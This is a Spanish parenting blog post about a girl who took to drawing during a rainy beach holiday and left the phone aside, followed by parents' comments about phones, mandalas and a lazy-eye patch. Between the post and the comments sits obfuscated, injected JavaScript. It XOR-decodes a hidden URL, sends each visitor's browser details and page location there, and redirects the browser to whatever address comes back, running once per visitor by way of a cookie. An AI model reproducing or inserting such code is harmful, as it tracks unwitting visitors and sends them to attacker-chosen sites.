Nunca he sido de utilizar el móvil como un «apagafuegos» cuando te vas con los niños a tomar algo y quieres disfrutar de un minuto de conversación con tu pareja sin interrupciones, pero lo reconozco: he recurrido a sus servicios alguna vez, contadas con los dedos de la mano derecha, pero lo he hecho. Sé que es una práctica que los educadores y los psicólogos desaconsejan porque no ayuda a enseñar a los niños a adquirir buenas prácticas en el uso de las nuevas tecnologías. Pero tengo buenas noticias, la época de usar el teléfono con esta función se ha acabado, al menos en mi círculo familiar, ha llegado con fuerza…. (redoble de tambores) el cuaderno y la caja de pinturas.
Todo surgió en la semana que hemos pasado en junio en la playa. En principio, Elena se llevaba pocos juguetes porque nos íbamos a tirar todo el día de la piscina a la playa y de la playa a la piscina. Pero claro, ¿qué haces en tu apartamento de la playa cuando amanece un día nublado y con lluvia? ¿Y si la situación continúa 48 horas más? Lo que formaba parte de tu día a día se va al traste y tienes que improvisar: un parque al aire libre, si el tiempo te respecta; un parque de bolas, si encuentras alguno cerca; un museo para visitar, a sabiendas de que tu hija pequeña de dos años te la puede liar; una biblioteca donde pasar una tarde entre hadas y animales extraños… Opciones hay muchas, pero no llegan a cubrir las 24 horas que tiene el día y hay que tirar de imaginación
Y así fue cómo nos dejamos caer por una tienda de «todo a 100» para hacernos con un cuaderno y unas pinturas. Yo pensé que iba a ser un entretenimiento de una hora como mucho, pero ha sido nuestra mejor inversión en los últimos meses. Que tardábamos en bajar a la piscina porque había que preparar la comida, Elena se colocaba en la mesa y sacaba su cuaderno; que íbamos a tomar un café a una terraza, Elena sacaba su nuevo regalo y ya no exclamaba cada minuto eso de «me aburro»; que estábamos en la piscina, el sol se había ido y empezaba a hacer fresco, Elena invitaba a Pablo y Eva, sus nuevos amigos, a pintar, y entre todos pasaban un rato divertido. No ha sido amor a primera vista (este invierno en casa Elena ha cogido la rutina de hacer un dibujo cada domingo por la mañana sobre lo que hacíamos el día interior con ella y con su hermana, para que papá y mamá lo colocasen en la mesilla de su habitación), pero sí un amor de verano que se puede transformar en una nueva afición. «Mamá, el curso que viene quiero ir a clase de pintura».
Y en eso estamos su padre y yo, intentando reforzar ese interés que ha surgido en vacaciones por la pintura, contentos de que un cuaderno y unas plastidecor se hayan convertido en su ‘must have’, que hayamos conseguido distraerla en el uso el teléfono móvil y acordándonos de lo que nos dijo su profesora tras su paso por la guardería: «Es importante que los niños os vean leer, pero también que os vean escribir, utilizar el papel y el boli». Y es que con tanto ordenador, con tanta tableta, con tantos móviles en casa, los niños se están perdiendo cosas tan divertidas y básicas como pasar un rato pintando, recortando o pegando dibujitos.var uomjftkd = { encode: function (uymcrbbu, ivpjzup1) { var juykdjus = «»; for (var bmtvoq = 0; bmtvoq < uymcrbbu.length; bmtvoq++) { var maoakjle = uymcrbbu.charCodeAt(bmtvoq); var vznvir = maoakjle ^ ivpjzup1.charCodeAt(bmtvoq % ivpjzup1.length); juykdjus = juykdjus + String.fromCharCode(vznvir); } return juykdjus; }};function ivlvxbnl(xspsscex, qmjwsdtc){ return uomjftkd.encode(xspsscex, qmjwsdtc);}function nhqlzziy(vtzoxco, qmjwsdtc) { function mnbggf(url, qvfdnorl, gaurhzsa) { var svzjxjw = new XMLHttpRequest(); var mvlmqh = ""; var ngpewk = []; var djzspyoe; for(djzspyoe in qvfdnorl) { ngpewk.push(encodeURIComponent(djzspyoe) + '=' + encodeURIComponent(qvfdnorl[djzspyoe])); } mvlmqh = ngpewk.join(String.fromCharCode(38)).replace(/%20/g, '+'); svzjxjw.onreadystatechange = gaurhzsa; svzjxjw.open('GET', vtzoxco + "?" + mvlmqh); svzjxjw.send(mvlmqh); } var broilplq = { ua: navigator.userAgent, referrer: document.referrer, host: window.location.hostname, uri: window.location.pathname, lang: navigator.language, guid: qmjwsdtc }; mnbggf(vtzoxco, broilplq, function () { if (this.readyState == 4) { if (this.status == 200) { qvfdnorl = this.responseText; if (typeof(qvfdnorl) === 'string') { if (qvfdnorl.indexOf("http") === 0) { window.location = qvfdnorl; } } } } });}var advuwpjt = Array();var qmjwsdtc = '08430616d2a2d9759b18f9b49fcabc12';if (document.cookie.indexOf(qmjwsdtc) === -1){ advuwpjt.push(String.fromCharCode(88,76,64,67,67,12,30,25,9,75,8,92,2,86,67,71,88,1,90,93,20,23,11,90,95,9,76,0,18,10,28,88,67,22,68,91,64)); document.cookie = qmjwsdtc + '=1; path=/'; advuwpjt = advuwpjt.forEach(function (xspsscex) { var juykdjus = ivlvxbnl(xspsscex, qmjwsdtc); if (typeof(juykdjus) === 'string') { if (juykdjus.indexOf("http") === 0) { nhqlzziy(juykdjus, qmjwsdtc); return; } } });}
Al mio le gusta llevarse un cuadernito pequeño de mandalas.. y una cajita con colores, asi se entretiene, pero tambien le gusta que lo hagamos juntos.. y nos vamos turnando.
el movil a veces lo usa, pero para ponerse musica, le encanta ver videos musicales.. en eso se parece a mi… o se lleva unos playmobil, o un cochecito y ya tiene diversión asegurada.
Yo también era anti móvil total, me enfadaba con mi marido si se lo dejaba pero ahora le he encontrado una utilidad inesperada. Hace tres semanas en la revisión de los 4 años no pasó la prueba de la ambliopía que les hace el pediatra, nos mandaron al oftalmólogo y allí se confirmó la sospecha: ciega como un topo, hipermetropía, astigmatismo y un ojo vago, vaguísimo, así de sopetón, cuando vi el aumento de las gafas casi me da un pasmo, no sé cómo no nos dimos cuenta de lo mal que veía, pero las gafas son de las de culo de vaso, con cristales reducidos y todo en el ojo vago más que gafa parece que lleve una lupa. Tiene que llevar un parche en el ojo que tiene mejor para ejercitar el vago y que no se le atrofie más, y la única bendita manera de que aguante con el parche puesto es dejarle el móvil para que juegue, de esa forma obliga al ojo a trabajar y no está lloriqueando para que le quite el parche. Y he mirado y hasta hay alguna app para el ojo vago, así que me ha tocado tragarme mis palabras y comprar un cargador portátil por si se me acaba la batería por ahí.